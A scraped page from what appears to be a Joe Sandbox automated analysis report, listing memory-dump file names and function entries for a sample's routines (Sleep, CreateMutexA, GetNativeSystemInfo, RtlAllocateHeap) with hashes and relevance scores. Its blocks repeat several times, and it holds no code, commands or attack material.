Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dd8c8de2a0a55c62598ffed3b9e2e78c3546e7911d41cac712f7829096f7625e
Instruction ID: 633d6b16ec6b10d14d49ea840ad49954aa8328022231fba2871b23582fc3f6f1
Opcode Fuzzy Hash: dd8c8de2a0a55c62598ffed3b9e2e78c3546e7911d41cac712f7829096f7625e
Instruction Fuzzy Hash: C0312831700305DBFB19DB7CDC89BADBB72EBC9320F248658D1999B2D5C77585808751

Function 01009ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 333a3538fcc8acd9a9d2b6e724537a87be389ec4f32913ec622ba21e1cbee0e3
Instruction ID: 0a8512b05b03c67815f081ac6f23258a9912bce247a98ebd8c603c397909d083
Opcode Fuzzy Hash: 333a3538fcc8acd9a9d2b6e724537a87be389ec4f32913ec622ba21e1cbee0e3
Instruction Fuzzy Hash: B7216A31704305DBFB29AB6CDC89B6DFB61EBC5320F144259E5988B2D5C77985808B51

Function 0100A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c8e67080fc507b7b36b2c732cae210b95536563798454ecfee363f9e964064ec
Instruction ID: a79e37f7bba581207dff2fec594dcd649d9cd8d21f2f99f5f3d136168ac1106a
Opcode Fuzzy Hash: c8e67080fc507b7b36b2c732cae210b95536563798454ecfee363f9e964064ec
Instruction Fuzzy Hash: B1216A31345306DAFB26B76C988AB7EBBA1DB91300F244857D6C8972D0C77A46808393

Function 0100A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b83fb65c5b1717e28965bc34ffc8f5d9dabe9688cc1e8e6dd8ed187e3ea31536
Instruction ID: 0875c8a1b1f273c8b30d70c7e3d613f527441d4f9edf4013be16bbde1792315d
Opcode Fuzzy Hash: b83fb65c5b1717e28965bc34ffc8f5d9dabe9688cc1e8e6dd8ed187e3ea31536
Instruction Fuzzy Hash: 9921AC32300305DBF729EB6CD8897BCFB61EBD5320F248259E5889B3D4C77686808791

Function 01007D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 01007ED3

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 3b1e637a79c70ae7e341887743102ee2c055e7b072ec22fd442418fcc7f23237
Instruction ID: ac6bf977435a18a35fa316581c3bc3d1769e649cdfae3b0ecda14bf960225a85
Opcode Fuzzy Hash: 3b1e637a79c70ae7e341887743102ee2c055e7b072ec22fd442418fcc7f23237
Instruction Fuzzy Hash: 29E13D71E006459BEB26BB68CC0A7DD7B71AB85320F94429DD4D56B3C5DB394E808BC2

Function 0103D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0103A813,00000001,00000364,00000006,000000FF,?,0103EE3F,?,00000004,00000000,?,?), ref: 0103D871

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
